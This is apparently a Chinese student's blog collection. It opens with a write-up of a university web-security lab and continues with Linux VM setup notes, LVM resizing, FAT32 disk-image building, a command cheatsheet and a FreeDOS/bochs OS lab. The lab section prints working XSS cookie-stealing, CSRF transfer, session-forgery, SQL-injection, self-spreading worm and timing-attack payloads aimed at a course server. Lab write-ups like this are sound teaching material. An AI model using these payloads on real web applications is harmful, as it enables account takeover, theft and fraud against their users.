0%

下载说明等文档

来自 cs155 Spring2022

1
2
curl -O https://cs155.github.io/Spring2022/hw_and_proj/proj2/proj2.pdf
curl -O https://cs155.github.io/Spring2022/hw_and_proj/proj2/proj2.zip

实验环境搭建

实验在 VMware 上进行,使用的 Linux 发行版为 Ubuntu 22.04 Server。

docker 的安装参考官方文档

依次执行:

1
2
3
4
unzip proj2.zip -d proj2/
cd proj2
bash build_image.sh
bash start_server.sh

通过 ifconfigip addr show 找到虚拟机的 ip,然后就可以在主机的浏览器上访问了。

npm install 失败

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 => ERROR [4/5] RUN npm install                                                                                             561.5s
------
> [4/5] RUN npm install:
#0 321.1 npm ERR! network timeout at: https://registry.npmjs.org/babel-cli
#0 561.5
#0 561.5 npm ERR! A complete log of this run can be found in:
#0 561.5 npm ERR! /root/.npm/_logs/2023-04-06T13_43_13_637Z-debug.log
------
Dockerfile:12
--------------------
10 | # where available (npm@5+)
11 |
12 | >>> RUN npm install
13 |
14 | # Bundle app source
--------------------
ERROR: failed to solve: process "/bin/sh -c npm install" did not complete successfully: exit code: 1

发现手动 curl https://registry.npmjs.org/babel-cli 是可以连上的。推测是 docker 的问题。于是在 Dockerfile 中加入下面一行进行测试:

1
RUN curl https://registry.npmjs.org/babel-cli

得到报错:

1
curl: (6) Could not resolve host: registry.npmmirror.com

推测为 DNS 问题。找到一篇 CSDN 博客

参考官方文档,修改 /etc/docker/daemon.json 添加 dns 服务器。

该地址通过 resolvectl status | grep DNS 查看。

1
2
3
{
"dns": ["192.168.43.2"]
}

修改后,重启 docker 服务即可。

1
2
systemctl daemon-reload
systemctl restart docker

挂起虚拟机后重新打开无法访问容器

不懂,遇事不决 systemctl restart docker

攻击实验

看源码,views/profile/view.ejs 里,直接把 errorMsg 塞进了 Html 文本里,而 router.js 里这个错误信息是这样定义的:

1
`${req.query.username} does not exist!`

也就是说,我们要构造字符串替换掉下面的 username 部分

1
<p class='error'> ${req.query.username} does not exist! </p>

前面的标签让它闭合,后面的标签让它隐藏,中间塞脚本就行。答案如下

1
2
3
4
5
6
7
8
9
</p>
<script>
let cke = document.cookie;
let url = `steal_cookie?cookie=${cke}`;
let xhr = new XMLHttpRequest();
xhr.open("GET", url);
xhr.send();
</script>
<p style="display:none">

Cross-Site Request Forgery

edge 和 chrome 的同源策略都太严格了,所以这个实验我用的 IE。

F12 抓包,模仿他的表头发 Post 就行。

恶意网页如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html>
<head>
<title>Bad Website!</title>
<script>
let xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.43.134:3000/post_transfer");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.withCredentials = true;
xhr.send("destination_username=user1&quantity=10");
window.location.replace("https://www.baidu.com");
</script>
</head>
<body>
<p>Hello World!</p>
</body>
</html>

登录网页后打开这个恶意页面会往 user1 发 10 块钱然后导到百度。

Session Hijacking with Cookies

看源码 app.js,用的 cookie-session,而且压根没加密。把 cookie 里的 session 弄出来直接通过 base64 解码就是 json 了,然后直接改就完事了。改完给它塞回去。

取 cookie 的前面大段 docCookie 我是从 MDN 上直接抄的。其实直接用 substr 截取字符串也是一样的。

如果 profile 里有奇奇怪怪的特殊字符可能会在解码的时候出岔子?算了,题目没在乎这个。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
var docCookies = {
getItem: function (sKey) {
return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[-.+*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
},
setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) {
if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { return false; }
var sExpires = "";
if (vEnd) {
switch (vEnd.constructor) {
case Number:
sExpires = vEnd === Infinity ? "; expires=Fri, 31 Dec 9999 23:59:59 GMT" : "; max-age=" + vEnd;
break;
case String:
sExpires = "; expires=" + vEnd;
break;
case Date:
sExpires = "; expires=" + vEnd.toUTCString();
break;
}
}
document.cookie = encodeURIComponent(sKey) + "=" + encodeURIComponent(sValue) + sExpires + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "") + (bSecure ? "; secure" : "");
return true;
},
removeItem: function (sKey, sPath, sDomain) {
if (!sKey || !this.hasItem(sKey)) { return false; }
document.cookie = encodeURIComponent(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT" + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "");
return true;
},
hasItem: function (sKey) {
return (new RegExp("(?:^|;\\s*)" + encodeURIComponent(sKey).replace(/[-.+*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);
},
keys: /* optional method: you can safely remove it! */ function () {
var aKeys = document.cookie.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "").split(/\s*(?:\=[^;]*)?;\s*/);
for (var nIdx = 0; nIdx < aKeys.length; nIdx++) { aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]); }
return aKeys;
}
};

let ses = docCookies.getItem("session");
let info_s = b64_to_utf8(ses);
let info = JSON.parse(info_s);

console.log(info_s);

info.account.username = "user1";
info_s = JSON.stringify(info);
ses = utf8_to_b64(info_s);

console.log(info_s);

document.cookie = "session=" + ses;

Cooking the Books with Cookies

看源码 router.js,会发现它在更新数据的时候原数目是直接从 session 里取的

1
2
3
req.session.account.bitbars -= amount;
query = `UPDATE Users SET bitbars = "${req.session.account.bitbars}" WHERE username == "${req.session.account.username}";`;
await db.exec(query);

所以你直接对 cookie 改动,然后随便 trans 一下,这个东西就写到数据库里了。

答案如下,基本跟上一个是一样的

1
2
3
4
5
6
7
8
9
10
var docCookies = {
...
};
let ses = docCookies.getItem("session");
let info_s = atob(ses);
let info = JSON.parse(info_s);
info.account.bitbars = 1000000000;
info_s = JSON.stringify(info);
ses = btoa(info_s);
document.cookie = "session=" + ses;

SQL Injection

看源码 router.js,代码

1
2
const query = `DELETE FROM Users WHERE username == "${req.session.account.username}";`
await db.get(query);

要求删掉该用户时 user3 也会被删掉。关键在于如何让这个恶意用户也一起被删掉。

1
user3" or username like "user3%

Profile Worm

查看 Profile 时触发,观察源码,profile 的内容是插入到 html 里的,鉴定为 XSS 注入。

目标是传染,查询到被感染的 profile 会让自己的 profile 也变成这个,且 bitbars 显示为 10,并给攻击者发 1 块钱。

这个显示为 10,则是利用 id 的唯一性,在前面把 bitbar_count 这个 id 先占住。

接下来就是自我复制的问题了。直接把内容写进字符串里套娃是不可能的,那就只能复制显示出来的东西了。

看源码 views/pages/profile/view.ejs,发现这部分是有 id 的

1
2
3
<% if (result.username && result.profile) { %>
<div id="profile"><%- result.profile %></div>
<% } %>

利用这个 id 来复制内容就好了。

但是,直接从元素的 innerHTML 里搞出来的是没处理过的,里面会有一些像 & 或是奇怪的字符。需要处理一下。随便 update profile 一下观察一下,不难看出在提交表单时是转义过的(废话

参考万能的 MDN,发起 post 请求的时候用 encodeURIComponent() 编码就行了。

cookie 里的 profile 改不改无所谓(虽然我还是改了),反正 logout 重进就出来了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<h3>You are infected!</h3>

<span id="bitbar_count" class="10" />

<script>
// parse cookie
let ses = document.cookie.slice(8);
let info_s = atob(ses);
let info = JSON.parse(info_s);
// get profile and modify
let prof = document.getElementById("profile").innerHTML;
info.account.profile = prof;
// encode again
info_s = JSON.stringify(info);
ses = btoa(info_s);
document.cookie = "session=" + ses;
// trans
let xhr1 = new XMLHttpRequest();
xhr1.open("POST", "post_transfer");
xhr1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr1.send("destination_username=attacker&quantity=1");
// upload profile to database
let xhr2 = new XMLHttpRequest();
xhr2.open("POST", "set_profile");
xhr2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr2.send("new_profile=" + encodeURIComponent(prof));
</script>

Password Extraction via Timing Attack

最后这个是要你改 gamma_starter.html 来进行一次侧信道攻击。

这个 on error 我没用过,随便试了试,大概就下面这样吧。总之,记下用时,取那个最离谱的就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<span style='display:none'>
<img id='test'/>
<script>
var dictionary = [`password`, `123456`, `12345678`, `dragon`, `1234`, `qwerty`, `12345`];
var index = 0, ans = -1, ti = 0;
var test = document.getElementById(`test`);
test.onerror = () => {
var end = new Date();

/* >>>> HINT: you might want to replace this line with something else. */
console.log(`Try ${dictionary[index - 1]}: Time elapsed ${end-start}`);
if (ti < end - start) {
ti = end - start;
ans = index - 1;
}
/* <<<<< */

start = new Date();
if (index < dictionary.length) {
/* >>>> TODO: replace string with login GET request */
test.src = `http://192.168.43.134:3000/get_login?username=userx&password=${dictionary[index]}`;
/* <<<< */
} else {
/* >>>> TODO: analyze server's reponse times to guess the password for userx and send your guess to the server <<<<< */
let xhr = new XMLHttpRequest();
xhr.open("GET", `http://192.168.43.134:3000/steal_password?password=${dictionary[ans]}&timeElapsed=${ti}`);
xhr.send();
}
index += 1;
};
var start = new Date();
/* >>>> TODO: replace string with login GET request */
test.src = `http://192.168.43.134:3000/get_login?username=userx&password=${dictionary[index]}`;
/* <<<< */
index += 1;
</script>
</span>

前言

最近总是重搭虚拟机。简单记录下如何快速的让虚拟机好用。

下载

清华源 Ubuntu Release

换源

清华源 Ubuntu 软件镜像仓库
阿里云 Ubuntu 软件镜像仓库

用阿里源的可以手动注释掉 deb-src 的行。

设置 root 密码

1
sudo passwd

常用包

1
net-tools

oh-my-zsh

1
2
apt install zsh
chsh -s /bin/zsh

通过 gitee 同步仓库安装:

1
2
curl -o install.sh https://gitee.com/mirrors/oh-my-zsh/raw/master/tools/install.sh
REMOTE=https://gitee.com/mirrors/oh-my-zsh.git sh install.sh

建议再加个插件: zsh-syntax-highlighting

1
2
3
git clone https://gitee.com/testbook/zsh-syntax-highlighting.git ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting
# 在插件列表中添加 zsh-syntax-highlighting
vim .zshrc

fish

fishshell 是个好东西,虽然我还是习惯 zsh

vim

vim 有好多版本,如果是桌面操作系统例如 GNOME 建议装 vim-gtk3

无图形化界面或单纯在命令行中使用建议装 vim-nox。因为它支持 Perl、Python、Ruby 和 TCL 脚本

ssh-server

配置文件 /etc/ssh/sshd_config

加入自己的 keys

1
curl https://github.com/<username>.keys | tee -a ~/.ssh/authorized_keys

git

通过 https 端口连接 git@github.com(有时能绕开 DNS 污染)

修改 ~/.ssh/config

1
2
3
Host github.com
Hostname ssh.github.com
Port 443

生成 key

1
ssh-keygen -t ecdsa -b 521 -C "your_email@example.com"

开启共享文件夹

先在 GUI 设置,然后

1
vmhgfs-fuse .host:/ /mnt/hgfs

当然,也有可能不需要这么干,如果提示 nonempty 的话说明 GUI 设置完自动处理好了

clash

参考这篇博客

下载安装:

1
2
3
4
5
6
# 使用了公益镜像源,可能会失效
curl -O https://download.nuaa.cf/Dreamacro/clash/releases/download/v1.14.0/clash-linux-amd64-v1.14.0.gz
# curl -O https://github.com/Dreamacro/clash/releases/download/v1.14.0/clash-linux-amd64-v1.14.0.gz
gzip -d clash-linux-amd64-v1.14.0.gz
sudo install -m 755 ./clash-linux-amd64-v1.14.0 /usr/local/bin/clash
clash -v

拷贝配置:

1
2
3
4
5
6
sudo mkdir /etc/clash
# 自己的 config.yaml 例如可以在 windows 的 clash 那里搞出来
sudo cp config.yaml /etc/clash
# Country.mmdb 可以下载
sudo curl -O https://proxy.freecdn.ml/?url=https://github.com/Dreamacro/maxmind-geoip/releases/download/20230512/Country.mmdb
# sudo curl -O https://github.com/Dreamacro/maxmind-geoip/releases/download/20230512/Country.mmdb

编写 systemd 服务配置 sudo vim /etc/systemd/system/clash.service:

1
2
3
4
5
6
7
8
9
10
11
[Unit]
Description=Clash daemon, A rule-based proxy in Go.
After=network.target

[Service]
Type=simple
Restart=always
ExecStart=/usr/local/bin/clash -d /etc/clash

[Install]
WantedBy=multi-user.target

开启服务:

1
2
3
sudo systemctl enable clash
sudo systemctl start clash
sudo systemctl status clash

可以看到端口,export 到变量里即可

1
export https_proxy=http://127.0.0.1:7890 http_proxy=http://127.0.0.1:7890

取消的话

1
unset  http_proxy  https_proxy

前言

软安实验要求使用 Windows SDK。但是电脑硬盘有点吃紧,而且用习惯了 VScode,不想用 Visual Studio。于是就有了这篇文章。

在这篇文章中,你可能会感兴趣的是:

  1. 不安装 VS 的情况下安装 MSVC 开发环境,并修改安装盘
  2. 配置 VScode,使得调试生成不需要在 Developer Command Prompt 下打开 VScode

参考资料: VScode 文档

下载、安装 Make Tools

我们可以选择下载 Vistual Studio 生成工具,而不是安装整个 Vistual Studio。

官网下载页面下拉,找到 "所有下载 -> 适用于 Vistual Studio 2022 的工具 -> Visual Studio 2022 生成工具"。

如果在运行下载的安装包时出现闪退,请不要反复双击安装包,因为它其实是 Installer 的安装包。可以在 Windows 搜索中手动打开 Vistual Studio Installer 后选择 VS 生成工具进行安装。

安装时根据需要,选中 "使用 C++ 的桌面开发" 即可。

安装时,可以选择安装位置到 D 盘。如果有一些选项是灰色的,可以打开注册表 (Windows + R 输入 regedit),删除 "HKEY_LOCAL_MACHINE > SOFTWARE > Microsoft > Visual Studio > setup",再重新打开 Installer 进行安装。

VScode 配置

在终端列表中添加 Developer Command Prompt

在设置中搜索: terminal.integrated.profiles.windows,点击在 settings.json 中编辑 (args 中的路径需要自己修改):

1
2
3
4
5
6
7
8
9
10
11
12
{
"terminal.integrated.profiles.windows": {
"VS 2019": {
"path": "C:\\Windows\\System32\\cmd.exe",
"args": [
"/k",
"D:\\Microsoft Visual Studio\\2019\\Community\\Common7\\Tools\\VsDevCmd.bat"
]
},
...
},
}

配置 C/C++

按需修改即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
"configurations": [
{
"name": "Win32",
"includePath": [
"${default}"
],
"defines": [
"_DEBUG",
"UNICODE",
"_UNICODE"
],
"windowsSdkVersion": "10.0.19041.0",
"compilerPath": "D:/Microsoft Visual Studio/2019/Community/VC/Tools/MSVC/14.29.30133/bin/Hostx64/x64/cl.exe",
"cStandard": "c17",
"cppStandard": "c++17",
"intelliSenseMode": "windows-msvc-x86"
}
],
"version": 4
}

配置 Build Task

修改 task.json 如下 (args 中的路径需要自己修改):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
{
"version": "2.0.0",
"windows": {
"options": {
"shell": {
"executable": "cmd.exe",
"args": [
"/C",
"\"D:/Microsoft Visual Studio/2019/Community/Common7/Tools/VsDevCmd.bat\"",
"&&"
]
}
}
},
"tasks": [
{
"type": "shell",
"label": "cl.exe build active file",
"command": "cl.exe",
"args": [
"/Zi",
"/EHsc",
"/Fe:",
"${fileDirname}\\${fileBasenameNoExtension}.exe",
"${file}"
],
"problemMatcher": [
"$msCompile"
],
"group": {
"kind": "build",
"isDefault": true
}
}
]
}

在 "终端 -> 运行生成任务" (Ctrl + Shift + B) 时选择 "cl.exe build active file",即可不通过 Developer Command Prompt 打开 VScode 来生成活动文件了。

配置 Debug

在 launch.json 中添加 (注意: preLaunchTask 要与 task.json 中的 label 一致):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"version": "0.2.0",
"configurations": [
{
"name": "C/C++: cl.exe build and debug active file",
"type": "cppvsdbg",
"request": "launch",
"program": "${fileDirname}\\${fileBasenameNoExtension}.exe",
"args": [],
"stopAtEntry": false,
"cwd": "${workspaceFolder}",
"environment": [],
"console": "externalTerminal",
"preLaunchTask": "cl.exe build active file"
}
]
}

配置完后,就可以通过: "终端 -> 运行任务" 中选择 "C/C++: cl.exe build and debug active file" 来生成并运行了。

初次运行完成 Default 的设置后,就可以通过 F5 启动调试了。

console 项是在运行时生成一个新的窗口,而不是使用调试控制台。它默认为 internalConsole。较低版本中配置方法不同,如下:

1
"externalConsole": true,

前言

最近装了点东西,磁盘空间有点吃不消了。于是想着给虚拟机扩展磁盘。我使用的 VMware® Workstation 16 Pro。使用的 Linux 镜像是 ubuntu-20.04.5-live-server-amd64。

由于之前安装系统的时候没怎么细看,直接一路默认点过去了。我发现使用的似乎是 LVM。

所以鼓捣一下,扩了下容,记录下做法。

Part 1

输入 df -h,可以查看文件系统磁盘空间的使用情况。我发现,我的 /dev/mapper/ubuntu--vg-ubuntu--lv 也就是挂载在 / 的已经满了。 用了 8 个 G。但实际上我不止给我的虚拟机分配了这么点,我分了 20 G。应该是什么地方没设置好。

当我查看硬盘状况 sudo fdisk -l 时,发现 /dev/sda3 有 18 个 G。也就是说其实我还有 10 个 G 没有用上。

所以去查了一下,翻到了不少博客。

首先,输入 sudo vgdisplay,发现果然还有很大的 Free Size。

于是,运行下面的指令扩展逻辑卷的大小:

1
lvextend -L +10G /dev/mapper/ubuntu--vg-ubuntu--lv

具体扩大几 G 取决于 Free Size 的大小,10 G 对我来说是可行的。

然后把文件系统的大小也调整一下:

1
resize2fs /dev/mapper/ubuntu--vg-ubuntu--lv

Part 2

后来,我发现原本分配的这 20 个 G 也不是很够用。于是我又在 VMware 里通过“虚拟机--设置--硬盘--扩展”,给它分配到了 40 G。

再次输入 sudo fdisk /dev/sda -l 时,我发现,它的大小已经变大,但是三个分区的大小没变,并且出现了 "GPT PMBR size mismatch (41943039 != 83886079) will be corrected by write." 的提示。

于是我直接 sudo fdisk /dev/sda。输入 d 删掉了原本 18 G 的分区 3,然后输出 n 重新建了分区 3,建分区的过程保持默认,它会自动帮我分配剩余的所有空间到这个分区里。在提示是否删除原有标签的时候选择了 No。

但是此时,pv 卷的大小还没有变,只是物理盘大小大了。用下面的指令就可以把 pv 卷自动调整。

1
2
3
4
# 查看自己的物理卷名字 我的叫 /dev/sda3
sudo pvdisplay
# 调整段的大小
sudo pvresize /dev/sda3

再次 sudo pvdisplay。发现 pv 卷的大小对了。

再次 sudo vgdisplay。发现 Free Size 又有了。

再重复 Part 1 的步骤就行了。

前言

事情是这样的。我们软安有个实验,需要一个 FAT32 的磁盘或 U 盘来研究文件系统和磁盘的结构。

但是非常尴尬的是,我压根没有这样的条件。我的两个盘都是 NTFS 的,手头也没有 U 盘。

所以我决定在 Linux 下,使用虚拟磁盘映像来做这个实验。

下面我将会嗯造一个实验用的磁盘映像。为了达到研究的目的,它会有分区,有 FAT32 文件系统,并且各个分区会有一些各种各样的文件。

创建虚拟磁盘

其实就是需要个满足要求大小的文件。

方法一:使用 bximage

在 OS 实验中应该用过这个玩意的。fd 还是 hd 都无所谓,没指定 type 就是默认 flat,出来的就会是 128M 的“空”文件。

1
2
sudo apt install bximage
bximage -func=create -fd=128M -q myDisk.img

方法二:使用 dd 和 /dev/zero

同样也是 OS 实验用过的东西。只不过这次的输入来源是 /dev/zero 这个特殊的设备。它会不停的输出 0 (NULL)。

1
2
# 下面的指令会往 myDisk.img 里填充 128Mb 的 0
dd if=/dev/zero of=myDisk.img bs=1M count=128

磁盘分区

此时的磁盘还没有分区,我们需要对它进行分区。

1
sudo fdisk myDisk.img

执行上面的指令后,会进入 fdisk 提供的交互界面。它的使用大致如下:

  • 输入 m 可以查看所有能用的指令。
  • 输入 l 可以查看所有支持的文件类型的 16 进制码。可以看到我们需要的 FAT32 类型码是 b。
  • 输入 p 可以查看当前已有的分区状况。现在还没有任何分区。
  • 输入 n 创建一个新的分区。进入分区创建的交互: 输入 p/e 来创建主分区或扩展分区。这里我们输入 p。 输入一个数字作为分区号。这里我们保持默认(分区 1)。 输入一个数字表示第一扇区的起始扇区。这里我们保持默认。 输入一个数字来表示第一扇区的最后扇区。这里我们输入一个比较靠中间的数(因为我想多造点分区)。 此时我们就造出了一个分区。分区的默认类型是 linux。 重复上述过程,多造一两个分区出来。
  • 输入 t 来修改分区的类型。将创建的分区修改位 FAT32(b)类型。具体操作跟着交互提示走,此处不再赘述。
  • 输入 O 可以导出我们当前的配置。输入 L 可以载入一个配置。
  • 输入 w 来将修改写入虚拟硬盘。并退出 fdisk。

简单的规划一下:我们的盘是 128 Mb。注意 FAT32 对簇的数量是有要求的。它要求至少要有 65525 个簇。我们的扇区大小是 512 b。大致算一下,一个分区至少要有 32 Mb。

(我暂时还没有理解 65525 的逻辑所在。情报来源是这个。)

你可以把已经算好的配置用 O 导出了。你可以这样做:

1
2
3
4
# 如果你忘了用 O。你也可以这样导出:
sudo sfdisk -d myDisk.img > disksrc
# 这样可以用之前的分区配置来分区:
sudo sfdisk myDisk.img < disksrc

下面是我的 diskrc,如果不想手动分区,也可以直接用我的导入:

1
2
3
4
5
6
7
8
label: dos
label-id: 0x50380754
device: myDisk.img
unit: sectors

myDisk.img1 : start= 2048, size= 67953, type=b
myDisk.img2 : start= 71680, size= 70001, type=b
myDisk.img3 : start= 143360, size= 118784, type=b

分区我是随便加的。如果你希望多分几个区甚至扩展分区来研究,最好把磁盘大小拉大一点,比如拉到 256 Mb。

需要注意,在 fdisk 下用 O 指令导出的 disksrc 是只读的。如果需要改动,需要使用 chmod +w disksrc 来添加可写权限。使用 sfdisk -d 则不会,因为它只负责导出到标准输出。

使用 loop 设备

我们的分区还没有被格式化。我们需要对每个分区分别格式化,而不是对整个磁盘格式化。所以我们需要建立 loop 设备到分区的映射,单独对每个分区进行格式化。

这里有几篇参考的文章,其中这篇问答含有完整的三种做法:Mount single partition from image of entire disk device

我的 Ubuntu 版本较高,可以使用最简单的方法二(需要 16.05 +):

1
2
3
4
# 使用这个指令后,myDisk 的各个分区会被映射到 /dev/loop* 上。例如 /dev/loop3p1:
sudo losetup -Pf myDisk.img
# 使用下面的指令可以取消 loop3 的映射(所有的分区):
sudo losetup -d /dev/loop3

其它两种方法,有需要的读者可自行到上面的链接中阅读。方法一是手动计算偏移。方法三是使用了一个工具。

分区格式化

上面我们已经将各个分区弄到了 loop 设备上,接下来我们可以进行格式化了:

1
mkfs.fat -F32 /dev/loop3p1

其它分区的格式化方法类比一下即可。

分区挂载和加入文件

需要先 losetup。如果你没有 losetup 的话,参考前面。

使用 mount 把 /dev/loop3p1 之类的挂载到某个目录上就行了。例如:

1
2
3
4
# 挂载
sudo mount /dev/loop3p1 /mnt/myhd
# 取消
sudo umount /dev/loop3p1

需要注意你可能不止要 umount,还需要 losetup -d。取决于你的个人需要。

信息检查

你可以用下面的指令来查看你挂上去的这个磁盘的相关信息:

1
2
3
4
5
6
7
8
9
# 下面的指令可以查看挂载点的信息:
mount
mount | grep "/mnt/myhd"
# 下面的指令可以查看:
# 使用了哪个 loop 设备、文件系统类型、磁盘大小、已使用大小、挂载位置
df -hT
df -hT | grep "/mnt/myhd"
# 下面的指令可以查看更具体的磁盘、设备信息:
sudo fdisk -l

懒人总结

我把上面的步骤搞在了一个 bash 脚本里:

https://github.com/Qing-LKY/Image-Builder-for-Filesystem-Study

也许能帮上忙。

前言

因为最近装新环境的频率有点高,我发现我经常动不动就忘记指令什么的,整天百度,浪费时间,所以开个帖备查算了。

解压、压缩命令

格式 加压 解压 备注
.tar tar cvf x.tar myDir/ tar xvf x.tar 此命令只打包不压缩。打包时也可以直接指定文件而不是目录。解包效果类似“解压到当前文件夹”
.tar.gz tar zcvf x.tar.gz myDir/ tar zxvf x.tar.gz c 是 create,x 是 extract
.gz gzip myfile gzip -d x.gz 单个文件的压缩
.xz xz -z a xz -d a.xz -k 可以保留原本的文件,否则默认删除
.tar.xz tar -cJf arch.tar.xz directory tar Jxvf a.tar.gz --remove-files 可删除原本的
.zip zip -r a.zip a/ unzip a.zip 该解压等价于 unzip -d ./ a.zip

Git

删除所有没有被 track 的文件:git clean -f。(查看这步操作会删掉什么:git clean -n

将被 track 的文件恢复到上次 commit 的状态:git reset --hard HEAD。(不带 –hard 可以查看会修改什么)

将修改提交到上次 commit 里:git commit --amend

fetch 之后需要手动合并:git merge master origin/master

强制推送覆盖远端分支:git push -f

SSH

生成可用于 Github 的 ssh key:ssh-keygen -t ecdsa -b 521 -C "your_email@example.com"

查找文件

使用 whereis: whereis bash

使用 find: find ~/ -name "x.txt"

文件系统

查看大小: df -hT

查看文件/文件夹大小: du -sh file

glibc

ldd --version 可以查看系统对应的 libc 版本

gdb or gef

安装 gef 需要 python3: sh -c "$(curl -fsSL http://gef.blah.cat/sh)" (需要代理)

也可以用镜像这样装:

1
2
3
curl -O https://gitee.com/datree1353/gef/raw/dev/gef.py
mv gef.py ~/.gdbinit-gef.py
echo source ~/.gdbinit-gef.py >> ~/.gdbinit

python

如果 python 版本较低,升级 pip 时应该这样:

1
python3 -m pip install --upgrade pip

文章目录:

  1. 环境配置与 "hello OS!"

  2. 从实模式到保护模式

2 从实模式到保护模式

前言

你可能会问,上一篇不是才写了前言吗,怎么又来。其实我只是单纯的想吐槽一下,不知道放到正文的哪里,就丢到这来了。

我发现,我做实验的效率极其低下,主要是下面几个原因:

  • 睿智的虚拟环境搞得人很烦躁

    傻逼可爱的 VMware 动不动就无响应个两分钟,有时暂停之后还会一直无响应。(据说是防火墙问题,但是不好说,所以用的战战兢兢)

    可爱的 VMware tools 每天要重装两三遍。搞得我都不想用共享剪切板功能了。

    想换 virtual box。结果奇慢无比,连启动都启动不了。(查了下官方社区,个人推测 hyper-v + amd 的问题)

  • 钻牛角尖

    总是被一些与实验无关紧要的问题吸引注意力,什么都想弄清楚,结果就是什么都顾不上。

  • too much things to do

    信安大三上怎么这么多实验,f**k

没事了,让我们开始吧(

2.1 Freedos 初体验

2.1.1 Why DOS?

DOS 是磁盘操作系统(Disk Operating System)的简称,是早期个人计算机上的一类操作系统。

在上一章中,课本里提到:

还有一个可选的方法能够帮助调试,做法也很简单,就是把 "org 07c00h" 这一行改成 "org 0100h" 就可以编译成一个 .COM 文件让它在 DOS 下运行了。

通过 DOS,可以方便地进行引导程序的执行和调试。

在之前的实验中,我们都是将引导程序直接写入引导扇区中。但是引导扇区的大小是有限的(512),随着程序的增大,问题会逐渐体现。为了解决这个问题,可以写一个“真正的”引导扇区来读取我们的程序,使我们的程序像一个真正的内核那样被运行。但这有较高的难度。

再加上:

很多保护模式的教程都是基于 DOS 来讲的,如果读者在本书中有些东西没有搞明白,可以同时参考其它教程。

在这一章的实验中,我们选择 bochs + Freedos 的方式来进行。

2.1.2 Freedos 的正确下载姿势与解读

虽然书上只有一句轻描淡写的“从官网上下载”,不过我连续下错了两次,所以还是记录下如何获取到正确的、可以用教材中的配置方法启动的映像。

事实上,在各种渠道下下载的盘,只要配置正确,都可以在 bochs 中启动。不过,作为一个初学者,我们可以先尝试教材中介绍的方法。

下载的入口在Bochs 官网的侧边栏 Get Bochs 下的 Disk Image。我们要下的是 freedos 的映像。

我下载下来时它的名字叫:"freedos-img.tar.gz",里面有四个文件 "a/b/c.img" 和 "bochsrc"。只有在这里下载的压缩包里面才会有课本中提到的 "a.img"。

如果你不想关心别的事情了,那可以跳到 2.1.3 了。后面的内容只是记录我在找到这个书上指定的东西的过程中发现的一些趣事。

首先,事实上,你也可以在其它地方找到 freedos。比如 freedos 自己的官网,和我们下载 bochs 源码的地方附近

freedos 官网上可以找到能用的 FreeDOS 1.3 Floppy Edition。根据它的 readme.txt,我们也许可以用 144m/x86boot.img 作为启动盘来装比较高版本的 freedos。(xygg 试过,跑起来很帅)不过我没有去尝试,不清楚配置的细节上有没有特殊的讲究。而且我们的实验对 freedos 的版本其实没有多大的讲究。

至于 sourceforge.net 上提供的那个,则是个 hard disk,配置起来和书上提供的有很大出入(当然它有给出示例 bochsrc,所以你想跑那个也不是不行)。

在 bochs.sourceforge.io 上下载的这个,虽然描述说的是 "10-meg hard disk image which boots into FreeDOS",但其实这个 hard disk image 指的是压缩包里的 c.img,另外两个软盘 a.img 和 b.img 虽然在示例中没有作为启动盘使用,但它们也是启动盘。

我直接把 boot: c 改成 a 和 b 试了一下。a.img 是可以正常且完整启动的。b.img 可以看得出进入了引导程序,但是内核或 FAT 的加载似乎出现了什么问题。我暂时没有去细究这个 b。但是书本上教的把 a.img 复制出来改成 freedos.img 当启动盘用确实是可行的。

P.S. 事实上,通过下面的指令,我们也可以看出它是一个启动盘:

1
hexdump -C a.img | head -50

你可以在其中 0200 前(也就是 511 和 512 字节处)观察到 55 和 aa。结合上节课的知识,这个 a.img 会被识别为启动盘。

事实上,我们也可以考虑把 a.img 和 b.img 的前 512 个字节搞出来反汇编一下观察下差别,来满足我们的好奇心。这里暂时留个坑罢。

2.1.3 在 Bochs 中运行 Freedos

前面我们下载到了 freedos 映像的压缩文件。把其中的 a.img 弄出来作为启动盘,然后创建一个新的空白软盘 pm.img 来存放我们希望 guest os 能访问的文件。

为方便辨认,我把 a.img 改名成了 freedos.img。

1
2
3
4
tar -zxvf freedos-img.tar.gz
cp freedos-img/a.img ./freedos.img
bximage -func=create -fd=1.44M -q pm.img
vim bochsrc

把 bochsrc 修改为下面的内容:(其实就是上章用的那些修改了一下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# how much memory the emulated machine will have
megs: 32

# filename of ROM images
romimage: file=/usr/local/share/bochs/BIOS-bochs-latest
vgaromimage: file=/usr/share/vgabios/vgabios.bin

# what disk images will be used
floppya: 1_44=freedos.img, status=inserted
floppyb: 1_44=pm.img, status=inserted

